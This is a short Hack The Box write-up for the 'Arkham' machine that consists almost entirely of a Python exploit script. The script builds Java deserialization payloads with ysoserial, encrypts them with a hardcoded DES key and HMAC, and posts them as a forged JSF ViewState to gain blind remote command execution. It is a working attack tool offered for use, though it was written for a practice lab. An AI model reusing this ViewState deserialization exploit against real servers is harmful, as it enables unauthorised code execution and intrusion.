[HTB] Arkham
Exploitation script (hardcoded) - Blind CMD
Below you can find python script which after providing IP of the Arkham Box gives you the blind shell.
import os
import base64
from urllib.parse import unquote, quote
import pyDes
import base64
from Crypto.Hash import SHA, HMAC
import requests
import time
# Variables to set
url = "http://10.129.16.165:8080"
encryption_key = bytes(base64.b64decode("SnNGOTg3Ni0="))
exit = False
print("Type 'exit' to quit the program.")
while not exit:
# Take input and prepare the command
cmd_input = input("shell (blind) >> ")
if (cmd_input == "exit"):
break
command = "java -jar ysoserial-modified.jar CommonsCollections5 cmd '{}' > payload.file".format(cmd_input)
# Generate the payload using ysoserial
os.system(command)
# Encrypt
mac_length = 20
with open("payload.file", "rb") as f:
payload = f.read()
encryption_algorithm = pyDes.des(encryption_key, pyDes.ECB, padmode=pyDes.PAD_PKCS5)
encrypted_payload = encryption_algorithm.encrypt(payload)
hmac = HMAC.new(encryption_key, encrypted_payload, SHA).digest()
encrypted_viewState = encrypted_payload + hmac
encrypted_viewState = base64.b64encode(encrypted_viewState)
# Adding endpoint to which we will send malicious ViewState
url += "/userSubscribe.faces"
data = {
"j_id_jsp_1623871077_1%3Aemail": "defa@a.pl",
"j_id_jsp_1623871077_1%3Asubmit": "SIGN+UP",
"j_id_jsp_1623871077_1_SUBMIT": 1,
"javax.faces.ViewState": encrypted_viewState
}
print(payload)
print(command)
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
# Sending the request
try:
request = requests.post(url, data, verify=False, proxies=proxies)
print(request.status_code)
except:
pass
Last updated